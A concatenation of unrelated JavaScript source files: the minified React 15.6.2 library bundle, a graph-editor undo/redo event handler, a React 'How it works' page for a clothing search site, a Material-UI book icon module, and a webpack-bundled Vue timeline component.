/** * React v15.6.2 * * Copyright (c) 2013-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * */ !function(t){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var e;e="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this,e.React=t()}}(function(){return function t(e,n,r){function o(a,u){if(!n[a]){if(!e[a]){var s="function"==typeof require&&require;if(!u&&s)return s(a,!0);if(i)return i(a,!0);var c=new Error("Cannot find module '"+a+"'");throw c.code="MODULE_NOT_FOUND",c}var l=n[a]={exports:{}};e[a][0].call(l.exports,function(t){var n=e[a][1][t];return o(n||t)},l,l.exports,t,e,n,r)}return n[a].exports}for(var i="function"==typeof require&&require,a=0;a<r.length;a++)o(r[a]);return o}({1:[function(t,e,n){"use strict";function r(t){var e={"=":"=0",":":"=2"};return"$"+(""+t).replace(/[=:]/g,function(t){return e[t]})}function o(t){var e=/(=0|=2)/g,n={"=0":"=","=2":":"};return(""+("."===t[0]&&"$"===t[1]?t.substring(2):t.substring(1))).replace(e,function(t){return n[t]})}var i={escape:r,unescape:o};e.exports=i},{}],2:[function(t,e,n){"use strict";var r=t(19),o=(t(24),function(t){var e=this;if(e.instancePool.length){var n=e.instancePool.pop();return e.call(n,t),n}return new e(t)}),i=function(t,e){var n=this;if(n.instancePool.length){var r=n.instancePool.pop();return n.call(r,t,e),r}return new n(t,e)},a=function(t,e,n){var r=this;if(r.instancePool.length){var o=r.instancePool.pop();return r.call(o,t,e,n),o}return new r(t,e,n)},u=function(t,e,n,r){var o=this;if(o.instancePool.length){var i=o.instancePool.pop();return o.call(i,t,e,n,r),i}return new o(t,e,n,r)},s=function(t){var e=this;t instanceof e||r("25"),t.destructor(),e.instancePool.length<e.poolSize&&e.instancePool.push(t)},c=o,l=function(t,e){var n=t;return n.instancePool=[],n.getPooled=e||c,n.poolSize||(n.poolSize=10),n.release=s,n},f={addPoolingTo:l,oneArgumentPooler:o,twoArgumentPooler:i,threeArgumentPooler:a,fourArgumentPooler:u};e.exports=f},{19:19,24:24}],3:[function(t,e,n){"use strict";var r=t(26),o=t(4),i=t(5),a=t(7),u=t(8),s=t(11),c=t(13),l=t(15),f=t(18),p=u.createElement,d=u.createFactory,y=u.cloneElement,h=r,m=function(t){return t},v={Children:{map:i.map,forEach:i.forEach,count:i.count,toArray:i.toArray,only:f},Component:o.Component,PureComponent:o.PureComponent,createElement:p,cloneElement:y,isValidElement:u.isValidElement,PropTypes:s,createClass:l,createFactory:d,createMixin:m,DOM:a,version:c,__spread:h};e.exports=v},{11:11,13:13,15:15,18:18,26:26,4:4,5:5,7:7,8:8}],4:[function(t,e,n){"use strict";function r(t,e,n){this.props=t,this.context=e,this.refs=c,this.updater=n||s}function o(t,e,n){this.props=t,this.context=e,this.refs=c,this.updater=n||s}function i(){}var a=t(19),u=t(26),s=t(10),c=(t(14),t(23));t(24),t(17);r.prototype.isReactComponent={},r.prototype.setState=function(t,e){"object"!=typeof t&&"function"!=typeof t&&null!=t&&a("85"),this.updater.enqueueSetState(this,t),e&&this.updater.enqueueCallback(this,e,"setState")},r.prototype.forceUpdate=function(t){this.updater.enqueueForceUpdate(this),t&&this.updater.enqueueCallback(this,t,"forceUpdate")};i.prototype=r.prototype,o.prototype=new i,o.prototype.constructor=o,u(o.prototype,r.prototype),o.prototype.isPureReactComponent=!0,e.exports={Component:r,PureComponent:o}},{10:10,14:14,17:17,19:19,23:23,24:24,26:26}],5:[function(t,e,n){"use strict";function r(t){return(""+t).replace(E,"$&/")}function o(t,e){this.func=t,this.context=e,this.count=0}function i(t,e,n){var r=t.func,o=t.context;r.call(o,e,t.count++)}function a(t,e,n){if(null==t)return t;var r=o.getPooled(e,n);v(t,i,r),o.release(r)}function u(t,e,n,r){this.result=t,this.keyPrefix=e,this.func=n,this.context=r,this.count=0}function s(t,e,n){var o=t.result,i=t.keyPrefix,a=t.func,u=t.context,s=a.call(u,e,t.count++);Array.isArray(s)?c(s,o,n,m.thatReturnsArgument):null!=s&&(h.isValidElement(s)&&(s=h.cloneAndReplaceKey(s,i+(!s.key||e&&e.key===s.key?"":r(s.key)+"/")+n)),o.push(s))}function c(t,e,n,o,i){var a="";null!=n&&(a=r(n)+"/");var c=u.getPooled(e,a,o,i);v(t,s,c),u.release(c)}function l(t,e,n){if(null==t)return t;var r=[];return c(t,r,null,e,n),r}function f(t,e,n){return null}function p(t,e){return v(t,f,null)}function d(t){var e=[];return c(t,e,null,m.thatReturnsArgument),e}var y=t(2),h=t(8),m=t(22),v=t(20),b=y.twoArgumentPooler,g=y.fourArgumentPooler,E=/\/+/g;o.prototype.destructor=function(){this.func=null,this.context=null,this.count=0},y.addPoolingTo(o,b),u.prototype.destructor=function(){this.result=null,this.keyPrefix=null,this.func=null,this.context=null,this.count=0},y.addPoolingTo(u,g);var x={forEach:a,map:l,mapIntoWithKeyPrefixInternal:c,count:p,toArray:d};e.exports=x},{2:2,20:20,22:22,8:8}],6:[function(t,e,n){"use strict";var r={current:null};e.exports=r},{}],7:[function(t,e,n){"use strict";var r=t(8),o=r.createFactory,i={a:o("a"),abbr:o("abbr"),address:o("address"),area:o("area"),article:o("article"),aside:o("aside"),audio:o("audio"),b:o("b"),base:o("base"),bdi:o("bdi"),bdo:o("bdo"),big:o("big"),blockquote:o("blockquote"),body:o("body"),br:o("br"),button:o("button"),canvas:o("canvas"),caption:o("caption"),cite:o("cite"),code:o("code"),col:o("col"),colgroup:o("colgroup"),data:o("data"),datalist:o("datalist"),dd:o("dd"),del:o("del"),details:o("details"),dfn:o("dfn"),dialog:o("dialog"),div:o("div"),dl:o("dl"),dt:o("dt"),em:o("em"),embed:o("embed"),fieldset:o("fieldset"),figcaption:o("figcaption"),figure:o("figure"),footer:o("footer"),form:o("form"),h1:o("h1"),h2:o("h2"),h3:o("h3"),h4:o("h4"),h5:o("h5"),h6:o("h6"),head:o("head"),header:o("header"),hgroup:o("hgroup"),hr:o("hr"),html:o("html"),i:o("i"),iframe:o("iframe"),img:o("img"),input:o("input"),ins:o("ins"),kbd:o("kbd"),keygen:o("keygen"),label:o("label"),legend:o("legend"),li:o("li"),link:o("link"),main:o("main"),map:o("map"),mark:o("mark"),menu:o("menu"),menuitem:o("menuitem"),meta:o("meta"),meter:o("meter"),nav:o("nav"),noscript:o("noscript"),object:o("object"),ol:o("ol"),optgroup:o("optgroup"),option:o("option"),output:o("output"),p:o("p"),param:o("param"),picture:o("picture"),pre:o("pre"),progress:o("progress"),q:o("q"),rp:o("rp"),rt:o("rt"),ruby:o("ruby"),s:o("s"),samp:o("samp"),script:o("script"),section:o("section"),select:o("select"),small:o("small"),source:o("source"),span:o("span"),strong:o("strong"),style:o("style"),sub:o("sub"),summary:o("summary"),sup:o("sup"),table:o("table"),tbody:o("tbody"),td:o("td"),textarea:o("textarea"),tfoot:o("tfoot"),th:o("th"),thead:o("thead"),time:o("time"),title:o("title"),tr:o("tr"),track:o("track"),u:o("u"),ul:o("ul"),var:o("var"),video:o("video"),wbr:o("wbr"),circle:o("circle"),clipPath:o("clipPath"),defs:o("defs"),ellipse:o("ellipse"),g:o("g"),image:o("image"),line:o("line"),linearGradient:o("linearGradient"),mask:o("mask"),path:o("path"),pattern:o("pattern"),polygon:o("polygon"),polyline:o("polyline"),radialGradient:o("radialGradient"),rect:o("rect"),stop:o("stop"),svg:o("svg"),text:o("text"),tspan:o("tspan")};e.exports=i},{8:8}],8:[function(t,e,n){"use strict";function r(t){return void 0!==t.ref}function o(t){return void 0!==t.key}var i=t(26),a=t(6),u=(t(25),t(14),Object.prototype.hasOwnProperty),s=t(9),c={key:!0,ref:!0,__self:!0,__source:!0},l=function(t,e,n,r,o,i,a){return{$$typeof:s,type:t,key:e,ref:n,props:a,_owner:i}};l.createElement=function(t,e,n){var i,s={},f=null,p=null;if(null!=e){r(e)&&(p=e.ref),o(e)&&(f=""+e.key),void 0===e.__self?null:e.__self,void 0===e.__source?null:e.__source;for(i in e)u.call(e,i)&&!c.hasOwnProperty(i)&&(s[i]=e[i])}var d=arguments.length-2;if(1===d)s.children=n;else if(d>1){for(var y=Array(d),h=0;h<d;h++)y[h]=arguments[h+2];s.children=y}if(t&&t.defaultProps){var m=t.defaultProps;for(i in m)void 0===s[i]&&(s[i]=m[i])}return l(t,f,p,0,0,a.current,s)},l.createFactory=function(t){var e=l.createElement.bind(null,t);return e.type=t,e},l.cloneAndReplaceKey=function(t,e){return l(t.type,e,t.ref,t._self,t._source,t._owner,t.props)},l.cloneElement=function(t,e,n){var s,f=i({},t.props),p=t.key,d=t.ref,y=(t._self,t._source,t._owner);if(null!=e){r(e)&&(d=e.ref,y=a.current),o(e)&&(p=""+e.key);var h;t.type&&t.type.defaultProps&&(h=t.type.defaultProps);for(s in e)u.call(e,s)&&!c.hasOwnProperty(s)&&(void 0===e[s]&&void 0!==h?f[s]=h[s]:f[s]=e[s])}var m=arguments.length-2;if(1===m)f.children=n;else if(m>1){for(var v=Array(m),b=0;b<m;b++)v[b]=arguments[b+2];f.children=v}return l(t.type,p,d,0,0,y,f)},l.isValidElement=function(t){return"object"==typeof t&&null!==t&&t.$$typeof===s},e.exports=l},{14:14,25:25,26:26,6:6,9:9}],9:[function(t,e,n){"use strict";var r="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103;e.exports=r},{}],10:[function(t,e,n){"use strict";var r=(t(25),{isMounted:function(t){return!1},enqueueCallback:function(t,e){},enqueueForceUpdate:function(t){},enqueueReplaceState:function(t,e){},enqueueSetState:function(t,e){}});e.exports=r},{25:25}],11:[function(t,e,n){"use strict";var r=t(8),o=r.isValidElement,i=t(28);e.exports=i(o)},{28:28,8:8}],12:[function(t,e,n){"use strict";var r=t(26),o=t(3),i=r(o,{__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:{ReactCurrentOwner:t(6)}});e.exports=i},{26:26,3:3,6:6}],13:[function(t,e,n){"use strict";e.exports="15.6.2"},{}],14:[function(t,e,n){"use strict";e.exports=!1},{}],15:[function(t,e,n){"use strict";var r=t(4),o=r.Component,i=t(8),a=i.isValidElement,u=t(10),s=t(21);e.exports=s(o,a,u)},{10:10,21:21,4:4,8:8}],16:[function(t,e,n){"use strict";function r(t){var e=t&&(o&&t[o]||t[i]);if("function"==typeof e)return e}var o="function"==typeof Symbol&&Symbol.iterator,i="@@iterator";e.exports=r},{}],17:[function(t,e,n){"use strict";var r=function(){};e.exports=r},{}],18:[function(t,e,n){"use strict";function r(t){return i.isValidElement(t)||o("143"),t}var o=t(19),i=t(8);t(24);e.exports=r},{19:19,24:24,8:8}],19:[function(t,e,n){"use strict";function r(t){for(var e=arguments.length-1,n="Minified React error #"+t+"; visit http://facebook.github.io/react/docs/error-decoder.html?invariant="+t,r=0;r<e;r++)n+="&args[]="+encodeURIComponent(arguments[r+1]);n+=" for the full message or use the non-minified dev environment for full errors and additional helpful warnings.";var o=new Error(n);throw o.name="Invariant Violation",o.framesToPop=1,o}e.exports=r},{}],20:[function(t,e,n){"use strict";function r(t,e){return t&&"object"==typeof t&&null!=t.key?c.escape(t.key):e.toString(36)}function o(t,e,n,i){var p=typeof t;if("undefined"!==p&&"boolean"!==p||(t=null),null===t||"string"===p||"number"===p||"object"===p&&t.$$typeof===u)return n(i,t,""===e?l+r(t,0):e),1;var d,y,h=0,m=""===e?l:e+f;if(Array.isArray(t))for(var v=0;v<t.length;v++)d=t[v],y=m+r(d,v),h+=o(d,y,n,i);else{var b=s(t);if(b){var g,E=b.call(t);if(b!==t.entries)for(var x=0;!(g=E.next()).done;)d=g.value,y=m+r(d,x++),h+=o(d,y,n,i);else for(;!(g=E.next()).done;){var _=g.value;_&&(d=_[1],y=m+c.escape(_[0])+f+r(d,0),h+=o(d,y,n,i))}}else if("object"===p){var P=String(t);a("31","[object Object]"===P?"object with keys {"+Object.keys(t).join(", ")+"}":P,"")}}return h}function i(t,e,n){return null==t?0:o(t,"",e,n)}var a=t(19),u=(t(6),t(9)),s=t(16),c=(t(24),t(1)),l=(t(25),"."),f=":";e.exports=i},{1:1,16:16,19:19,24:24,25:25,6:6,9:9}],21:[function(t,e,n){"use strict";function r(t){return t}function o(t,e,n){function o(t,e){var n=b.hasOwnProperty(e)?b[e]:null;_.hasOwnProperty(e)&&u("OVERRIDE_BASE"===n,"ReactClassInterface: You are attempting to override `%s` from your class specification. Ensure that your method names do not overlap with React methods.",e),t&&u("DEFINE_MANY"===n||"DEFINE_MANY_MERGED"===n,"ReactClassInterface: You are attempting to define `%s` on your component more than once. This conflict may be due to a mixin.",e)}function c(t,n){if(n){u("function"!=typeof n,"ReactClass: You're attempting to use a component class or function as a mixin. Instead, just use a regular object."),u(!e(n),"ReactClass: You're attempting to use a component as a mixin. Instead, just use a regular object.");var r=t.prototype,i=r.__reactAutoBindPairs;n.hasOwnProperty(s)&&g.mixins(t,n.mixins);for(var a in n)if(n.hasOwnProperty(a)&&a!==s){var c=n[a],l=r.hasOwnProperty(a);if(o(l,a),g.hasOwnProperty(a))g[a](t,c);else{var f=b.hasOwnProperty(a),y="function"==typeof c,h=y&&!f&&!l&&!1!==n.autobind;if(h)i.push(a,c),r[a]=c;else if(l){var m=b[a];u(f&&("DEFINE_MANY_MERGED"===m||"DEFINE_MANY"===m),"ReactClass: Unexpected spec policy %s for key %s when mixing in component specs.",m,a),"DEFINE_MANY_MERGED"===m?r[a]=p(r[a],c):"DEFINE_MANY"===m&&(r[a]=d(r[a],c))}else r[a]=c}}}else;}function l(t,e){if(e)for(var n in e){var r=e[n];if(e.hasOwnProperty(n)){var o=n in g;u(!o,'ReactClass: You are attempting to define a reserved property, `%s`, that shouldn\'t be on the "statics" key. Define it as an instance property instead; it will still be accessible on the constructor.',n);var i=n in t;u(!i,"ReactClass: You are attempting to define `%s` on your component more than once. This conflict may be due to a mixin.",n),t[n]=r}}}function f(t,e){u(t&&e&&"object"==typeof t&&"object"==typeof e,"mergeIntoWithNoDuplicateKeys(): Cannot merge non-objects.");for(var n in e)e.hasOwnProperty(n)&&(u(void 0===t[n],"mergeIntoWithNoDuplicateKeys(): Tried to merge two objects with the same key: `%s`. This conflict may be due to a mixin; in particular, this may be caused by two getInitialState() or getDefaultProps() methods returning objects with clashing keys.",n),t[n]=e[n]);return t}function p(t,e){return function(){var n=t.apply(this,arguments),r=e.apply(this,arguments);if(null==n)return r;if(null==r)return n;var o={};return f(o,n),f(o,r),o}}function d(t,e){return function(){t.apply(this,arguments),e.apply(this,arguments)}}function y(t,e){var n=e.bind(t);return n}function h(t){for(var e=t.__reactAutoBindPairs,n=0;n<e.length;n+=2){var r=e[n],o=e[n+1];t[r]=y(t,o)}}function m(t){var e=r(function(t,r,o){this.__reactAutoBindPairs.length&&h(this),this.props=t,this.context=r,this.refs=a,this.updater=o||n,this.state=null;var i=this.getInitialState?this.getInitialState():null;u("object"==typeof i&&!Array.isArray(i),"%s.getInitialState(): must return an object or null",e.displayName||"ReactCompositeComponent"),this.state=i});e.prototype=new P,e.prototype.constructor=e,e.prototype.__reactAutoBindPairs=[],v.forEach(c.bind(null,e)),c(e,E),c(e,t),c(e,x),e.getDefaultProps&&(e.defaultProps=e.getDefaultProps()),u(e.prototype.render,"createClass(...): Class specification must implement a `render` method.");for(var o in b)e.prototype[o]||(e.prototype[o]=null);return e}var v=[],b={mixins:"DEFINE_MANY",statics:"DEFINE_MANY",propTypes:"DEFINE_MANY",contextTypes:"DEFINE_MANY",childContextTypes:"DEFINE_MANY",getDefaultProps:"DEFINE_MANY_MERGED",getInitialState:"DEFINE_MANY_MERGED",getChildContext:"DEFINE_MANY_MERGED",render:"DEFINE_ONCE",componentWillMount:"DEFINE_MANY",componentDidMount:"DEFINE_MANY",componentWillReceiveProps:"DEFINE_MANY",shouldComponentUpdate:"DEFINE_ONCE",componentWillUpdate:"DEFINE_MANY",componentDidUpdate:"DEFINE_MANY",componentWillUnmount:"DEFINE_MANY",updateComponent:"OVERRIDE_BASE"},g={displayName:function(t,e){t.displayName=e},mixins:function(t,e){if(e)for(var n=0;n<e.length;n++)c(t,e[n])},childContextTypes:function(t,e){t.childContextTypes=i({},t.childContextTypes,e)},contextTypes:function(t,e){t.contextTypes=i({},t.contextTypes,e)},getDefaultProps:function(t,e){t.getDefaultProps?t.getDefaultProps=p(t.getDefaultProps,e):t.getDefaultProps=e},propTypes:function(t,e){t.propTypes=i({},t.propTypes,e)},statics:function(t,e){l(t,e)},autobind:function(){}},E={componentDidMount:function(){this.__isMounted=!0}},x={componentWillUnmount:function(){this.__isMounted=!1}},_={replaceState:function(t,e){this.updater.enqueueReplaceState(this,t,e)},isMounted:function(){return!!this.__isMounted}},P=function(){};return i(P.prototype,t.prototype,_),m}var i=t(26),a=t(23),u=t(24),s="mixins";e.exports=o},{23:23,24:24,25:25,26:26}],22:[function(t,e,n){"use strict";function r(t){return function(){return t}}var o=function(){};o.thatReturns=r,o.thatReturnsFalse=r(!1),o.thatReturnsTrue=r(!0),o.thatReturnsNull=r(null),o.thatReturnsThis=function(){return this},o.thatReturnsArgument=function(t){return t},e.exports=o},{}],23:[function(t,e,n){"use strict";var r={};e.exports=r},{}],24:[function(t,e,n){"use strict";function r(t,e,n,r,i,a,u,s){if(o(e),!t){var c;if(void 0===e)c=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var l=[n,r,i,a,u,s],f=0;c=new Error(e.replace(/%s/g,function(){return l[f++]})),c.name="Invariant Violation"}throw c.framesToPop=1,c}}var o=function(t){};e.exports=r},{}],25:[function(t,e,n){"use strict";var r=t(22),o=r;e.exports=o},{22:22}],26:[function(t,e,n){"use strict";function r(t){if(null===t||void 0===t)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(t)}var o=Object.getOwnPropertySymbols,i=Object.prototype.hasOwnProperty,a=Object.prototype.propertyIsEnumerable;e.exports=function(){try{if(!Object.assign)return!1;var t=new String("abc");if(t[5]="de","5"===Object.getOwnPropertyNames(t)[0])return!1;for(var e={},n=0;n<10;n++)e["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(e).map(function(t){return e[t]}).join(""))return!1;var r={};return"abcdefghijklmnopqrst".split("").forEach(function(t){r[t]=t}),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},r)).join("")}catch(t){return!1}}()?Object.assign:function(t,e){for(var n,u,s=r(t),c=1;c<arguments.length;c++){n=Object(arguments[c]);for(var l in n)i.call(n,l)&&(s[l]=n[l]);if(o){u=o(n);for(var f=0;f<u.length;f++)a.call(n,u[f])&&(s[u[f]]=n[u[f]])}}return s}},{}],27:[function(t,e,n){"use strict";function r(t,e,n,r,o){}e.exports=r},{24:24,25:25,30:30}],28:[function(t,e,n){"use strict";var r=t(29);e.exports=function(t){return r(t,!1)}},{29:29}],29:[function(t,e,n){"use strict";var r=t(22),o=t(24),i=t(25),a=t(30),u=t(27);e.exports=function(t,e){function n(t){var e=t&&(w&&t[w]||t[N]);if("function"==typeof e)return e}function s(t,e){return t===e?0!==t||1/t==1/e:t!==t&&e!==e}function c(t){this.message=t,this.stack=""}function l(t){function n(n,r,i,u,s,l,f){if(u=u||A,l=l||i,f!==a)if(e)o(!1,"Calling PropTypes validators directly is not supported by the `prop-types` package. Use `PropTypes.checkPropTypes()` to call them. Read more at http://fb.me/use-check-prop-types");else;return null==r[i]?n?new c(null===r[i]?"The "+s+" `"+l+"` is marked as required in `"+u+"`, but its value is `null`.":"The "+s+" `"+l+"` is marked as required in `"+u+"`, but its value is `undefined`."):null:t(r,i,u,s,l)}var r=n.bind(null,!1);return r.isRequired=n.bind(null,!0),r}function f(t){function e(e,n,r,o,i,a){var u=e[n];if(E(u)!==t)return new c("Invalid "+o+" `"+i+"` of type `"+x(u)+"` supplied to `"+r+"`, expected `"+t+"`.");return null}return l(e)}function p(t){function e(e,n,r,o,i){if("function"!=typeof t)return new c("Property `"+i+"` of component `"+r+"` has invalid PropType notation inside arrayOf.");var u=e[n];if(!Array.isArray(u)){return new c("Invalid "+o+" `"+i+"` of type `"+E(u)+"` supplied to `"+r+"`, expected an array.")}for(var s=0;s<u.length;s++){var l=t(u,s,r,o,i+"["+s+"]",a);if(l instanceof Error)return l}return null}return l(e)}function d(t){function e(e,n,r,o,i){if(!(e[n]instanceof t)){var a=t.name||A;return new c("Invalid "+o+" `"+i+"` of type `"+P(e[n])+"` supplied to `"+r+"`, expected instance of `"+a+"`.")}return null}return l(e)}function y(t){function e(e,n,r,o,i){for(var a=e[n],u=0;u<t.length;u++)if(s(a,t[u]))return null;return new c("Invalid "+o+" `"+i+"` of value `"+a+"` supplied to `"+r+"`, expected one of "+JSON.stringify(t)+".")}return Array.isArray(t)?l(e):r.thatReturnsNull}function h(t){function e(e,n,r,o,i){if("function"!=typeof t)return new c("Property `"+i+"` of component `"+r+"` has invalid PropType notation inside objectOf.");var u=e[n],s=E(u);if("object"!==s)return new c("Invalid "+o+" `"+i+"` of type `"+s+"` supplied to `"+r+"`, expected an object.");for(var l in u)if(u.hasOwnProperty(l)){var f=t(u,l,r,o,i+"."+l,a);if(f instanceof Error)return f}return null}return l(e)}function m(t){function e(e,n,r,o,i){for(var u=0;u<t.length;u++){if(null==(0,t[u])(e,n,r,o,i,a))return null}return new c("Invalid "+o+" `"+i+"` supplied to `"+r+"`.")}if(!Array.isArray(t))return r.thatReturnsNull;for(var n=0;n<t.length;n++){var o=t[n];if("function"!=typeof o)return i(!1,"Invalid argument supplid to oneOfType. Expected an array of check functions, but received %s at index %s.",_(o),n),r.thatReturnsNull}return l(e)}function v(t){function e(e,n,r,o,i){var u=e[n],s=E(u);if("object"!==s)return new c("Invalid "+o+" `"+i+"` of type `"+s+"` supplied to `"+r+"`, expected `object`.");for(var l in t){var f=t[l];if(f){var p=f(u,l,r,o,i+"."+l,a);if(p)return p}}return null}return l(e)}function b(e){switch(typeof e){case"number":case"string":case"undefined":return!0;case"boolean":return!e;case"object":if(Array.isArray(e))return e.every(b);if(null===e||t(e))return!0;var r=n(e);if(!r)return!1;var o,i=r.call(e);if(r!==e.entries){for(;!(o=i.next()).done;)if(!b(o.value))return!1}else for(;!(o=i.next()).done;){var a=o.value;if(a&&!b(a[1]))return!1}return!0;default:return!1}}function g(t,e){return"symbol"===t||("Symbol"===e["@@toStringTag"]||"function"==typeof Symbol&&e instanceof Symbol)}function E(t){var e=typeof t;return Array.isArray(t)?"array":t instanceof RegExp?"object":g(e,t)?"symbol":e}function x(t){if(void 0===t||null===t)return""+t;var e=E(t);if("object"===e){if(t instanceof Date)return"date";if(t instanceof RegExp)return"regexp"}return e}function _(t){var e=x(t);switch(e){case"array":case"object":return"an "+e;case"boolean":case"date":case"regexp":return"a "+e;default:return e}}function P(t){return t.constructor&&t.constructor.name?t.constructor.name:A}var w="function"==typeof Symbol&&Symbol.iterator,N="@@iterator",A="<<anonymous>>",O={array:f("array"),bool:f("boolean"),func:f("function"),number:f("number"),object:f("object"),string:f("string"),symbol:f("symbol"),any:function(){return l(r.thatReturnsNull)}(),arrayOf:p,element:function(){function e(e,n,r,o,i){var a=e[n];if(!t(a)){return new c("Invalid "+o+" `"+i+"` of type `"+E(a)+"` supplied to `"+r+"`, expected a single ReactElement.")}return null}return l(e)}(),instanceOf:d,node:function(){function t(t,e,n,r,o){return b(t[e])?null:new c("Invalid "+r+" `"+o+"` supplied to `"+n+"`, expected a ReactNode.")}return l(t)}(),objectOf:h,oneOf:y,oneOfType:m,shape:v};return c.prototype=Error.prototype,O.checkPropTypes=u,O.PropTypes=O,O}},{22:22,24:24,25:25,27:27,30:30}],30:[function(t,e,n){"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},{}]},{},[12])(12)});
import EventHandler from './EventHandler.js'; class UserCreateNodeEventHandler extends EventHandler { constructor(eventLogger, graphController) { super(eventLogger, graphController, 'userPostCreateNode'); } /** @override */ captureEvent(graph, node) { return { nodeID: node.getGraphElementID(), x: node.x, y: node.y, accept: node.getNodeAccept(), label: node.getNodeLabel(), custom: node.getNodeCustom() }; } //Override - this = event applyUndo(e) { const graph = this.controller.getGraph(); const node = graph.getNodeByElementID(e.eventData.nodeID); if (!node) throw new Error('Unable to find target in graph'); graph.deleteNode(node); } //Override - this = event applyRedo(e) { const graph = this.controller.getGraph(); let node = graph.getNodeByElementID(e.eventData.nodeID); if (!node) { node = graph.createNode(e.postData.x, e.postData.y, e.postData.nodeID); } else { node.x = e.postData.x; node.y = e.postData.y; } node.setNodeLabel(e.postData.label); node.setNodeAccept(e.postData.accept); node.setNodeCustom(e.postData.custom); } } export default UserCreateNodeEventHandler;
import React from "react"; import "./HowItWorks.css"; import { Layout, Typography } from "antd"; import { SearchOutlined, FilterOutlined, ShoppingCartOutlined } from "@ant-design/icons"; import Navbar from "../../components/Navbar/Navbar"; import MegFooter from "../../components/MegFooter/MegFooter"; const { Content } = Layout; const { Text, Title } = Typography; class HowItWorks extends React.Component { render() { return ( <Layout className="layout"> <Navbar /> <Content className="content"> <div className="container"> <Title strong style={{ fontSize: "4em", justifyContent: "center" }} className="title" > How it works </Title> <div className="cards-row-container"> <div className="card"> <SearchOutlined style={{ padding: "0.2em" }}></SearchOutlined> <Title level={3}>Search</Title> <Text style={{ textAlign: "left", fontSize: "large" }}> Type what you’re looking for into the search bar and see results from verified clothing brands. </Text> </div> <div className="card"> <FilterOutlined style={{ padding: "0.2em" }}></FilterOutlined> <Title level={3}>Filter</Title> <Text style={{ textAlign: "left", fontSize: "large" }}> Use filters to narrow down your search and find the styles you love that align with he values that are important to you. </Text> </div> <div className="card"> <ShoppingCartOutlined style={{ padding: "0.2em" }} ></ShoppingCartOutlined> <Title level={3}>Find</Title> <Text style={{ textAlign: "left", fontSize: "large" }}> Once you find that perfect piece, MEG redirects you to the vendor’s site to purchase that item. </Text> </div> </div> </div> </Content> <MegFooter /> </Layout> ); } } export default HowItWorks;
"use strict"; var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault"); var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard"); Object.defineProperty(exports, "__esModule", { value: true }); exports["default"] = void 0; var React = _interopRequireWildcard(require("react")); var _createSvgIcon = _interopRequireDefault(require("./utils/createSvgIcon")); var _default = (0, _createSvgIcon["default"])( /*#__PURE__*/React.createElement(React.Fragment, null, /*#__PURE__*/React.createElement("path", { d: "M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5V6c-.6-.45-1.25-.75-2-1zm0 13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5v11.5z" }), /*#__PURE__*/React.createElement("path", { d: "M17.5 10.5c.88 0 1.73.09 2.5.26V9.24c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99zM13 12.49v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26V11.9c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.3-4.5.83zM17.5 14.33c-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26v-1.52c-.79-.16-1.64-.24-2.5-.24z" })), 'MenuBookOutlined'); exports["default"] = _default;
(window.webpackJsonp=window.webpackJsonp||[]).push([[10],{481:function(e,t,a){},526:function(e,t,a){"use strict";a(481)},534:function(e,t,a){"use strict";a.r(t);a(238),a(239),a(75),a(31),a(39),a(240),a(94);var n=a(449),o=a(434),s={mixins:[a(447).a],name:"TimeLine",components:{Common:n.a,ModuleTransition:o.a},filters:{dateFormat:function(e,t){e=function(e){var t=new Date(e).toJSON();return new Date(+new Date(t)+288e5).toISOString().replace(/T/g," ").replace(/\.[\d]{3}Z/,"").replace(/-/g,"/")}(e);var a=new Date(e),n=a.getMonth()+1,o=a.getDate();return"".concat(n,"-").concat(o)}},methods:{go:function(e){this.$router.push({path:e})}}},r=(a(440),a(526),a(3)),i=Object(r.a)(s,(function(){var e=this,t=e.$createElement,a=e._self._c||t;return a("Common",{staticClass:"timeline-wrapper",attrs:{sidebar:!1}},[a("ul",{staticClass:"timeline-content"},[a("ModuleTransition",[a("li",{directives:[{name:"show",rawName:"v-show",value:e.recoShowModule,expression:"recoShowModule"}],staticClass:"desc"},[e._v("¡Regreso al futuro, o al pasado 🚀!")])]),e._v(" "),e._l(e.$recoPostsForTimeline,(function(t,n){return a("ModuleTransition",{key:n,attrs:{delay:String(.08*(n+1))}},[a("li",{directives:[{name:"show",rawName:"v-show",value:e.recoShowModule,expression:"recoShowModule"}]},[a("h3",{staticClass:"year"},[e._v(e._s(t.year))]),e._v(" "),a("ul",{staticClass:"year-wrapper"},e._l(t.data,(function(t,n){return a("li",{key:n},[a("span",{staticClass:"date"},[e._v(e._s(e._f("dateFormat")(t.frontmatter.date)))]),e._v(" "),a("span",{staticClass:"title",on:{click:function(a){return e.go(t.path)}}},[e._v(e._s(t.title))])])})),0)])])}))],2)])}),[],!1,null,"7e368dc4",null);t.default=i.exports}}]);
